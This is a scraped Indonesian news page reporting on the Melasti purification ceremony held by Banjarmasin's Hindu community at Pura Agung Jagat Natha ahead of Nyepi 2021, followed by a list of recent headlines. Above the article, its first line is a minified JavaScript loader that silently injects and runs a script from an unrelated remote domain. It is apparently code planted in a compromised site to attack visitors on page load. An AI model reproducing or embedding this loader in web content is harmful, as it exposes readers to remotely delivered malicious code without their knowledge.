(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Jelang Hari Raya Nyepi, Umat Hindu di Banjarmasin Upacara Melasti di Pura Agung Jagat Natha


KANALKALIMANTAN.COM, BANJARMASIN – Hari Raya Nyepi atau Tahun Baru Saka bagi umat Hindu akan jatuh pada hari Minggu (14/3/2021), ritual keagamaan dilakukan jelang Nyepi umat Hindu di Kota Banjarmasin.

Untuk perayaan Hari Raya Nyepi tahun ini dilaksanakan di Pura Agung Jagat Natha, Jalan Gatot Subroto, Kecamatan Banjarmasin Timur.

Sebelumnya perayaan Nyepi dilaksanakan di Batu Licin, Kabupaten Tanah Bumbu, yang dihadiri oleh seluruh umat agama Hindu yang ada di Kalsel, namun untuk tahun ini, dilaksanakan di kota masing-masing atau secara terpisah, lantaran masih dalam pandemi Covid-19.

Dari pantauan Kanalkalimantan.com di Pura Agung Jagat Natha, terlihat umat agama Hindu Kota Banjarmasin sedang melaksanakan rangkaian ritual keagamaan.

 

Ida Rsi Whiswamitra Pawitra Putra, Pandita umat Hindu di Kota Banjarmasin, mengatakan, umat Hindu, khususnya yang ada di Pura Agung Jagat Natha, baru saja melaksanakan upacara Melasti, salah satu bagian dari rangkaian acara Hari Raya Nyepi.

“Upacara Melasti ini bertujuan untuk membersihkan segala kotoran yang ada diri kita masing-masing dan lingkungan kita, kemudian yang dilarutkan di laut atau di sungai, dengan harapan segala keburukan atau kotoran yang ada di diri dan lingkungan kita bisa bersih. Yang mana upacara ini, disimbolkan dengan melarutkan tanah di sungai,” ujar Pandita, Kamis (11/3/2021) sore.

Pandita Ida Rsi menambahkan, setelah upacara ini, akan dilanjutkan dengan upacara ritual Tawur Kesanga, yang akan dilaksanakan pada hari Sabtu (13/3/2021), masih di tempat yang sama.

Ia mengungkapkan, dalam upacara Tawur Kesanga itu, bertujuan untuk membayar segala sesuatu yang telah digunakan atau dipetik dari alam, menjadi kembali ke alam lagi.

“Jadi apa yang telah kita nikmati, kita kembalikan. Sehingga terjadilah keharmonisasian atau hubungan timbal balik antara manusia dengan alam,” ungkap Pandita Ida Rsi.

Pandita Ida Rsi juga menambahkan, dalam pelaksanaan upacara perayaan ini, tetap menjalankan protokol kesehatan yang berlaku.

“Di sini kita tetap menjalankan protokol kesehatan, agar mencegah penyebaran Covid-19 dan tidak muncul klaster baru. Sehingga proses perjalanan ibadah tetap baik dan lancar,” pungkasnya. (kanalkalimantan.com/tius)

 

Reporter : Tius
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Peringati Hari Otda, Ini Kata Bupati HSU H Sahrujani

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) menggelar upacara peringatan Hari Otonomi… Read More

19 menit ago

Tingkatkan Kompetensi 183 Kades se Kapuas Digembleng di Pusdiklat Kemenhan

KANALKALIMANTAN.COM, KUALA KAPUAS - Sebanyak 183 Kepala Desa dan Penjabat Kepala Desa (Kades) se Kabupaten… Read More

27 menit ago

Festival Budaya Tingang Menteng Panunjung Tarung 2025 Ditutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Festival Budaya Tingang Menteng Panunjung Tarung 2025 sukses digelar dalam rangka… Read More

32 menit ago

Ribuan Peserta Ramaikan Festival Budaya Tinggang Menteng Panunjung Tarung

KANALKALIMANTAN. COM, KUALA KAPUAS - Ribuan orang memeriahkan Festival Budaya Tinggang Menteng Panunjung Tarung dalam… Read More

16 jam ago

Angkat Menu Hulu Sungai, Cafe and Eatery “Warung Pagat” Sajikan Mandai, Tarap hingga Pakasam

KANALKALIMANTAN.COM, BANJARBARU - Bisnis F&B atau Food and Beverage kian berkembang di Ibu Kota Provinsi… Read More

20 jam ago

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

2 hari ago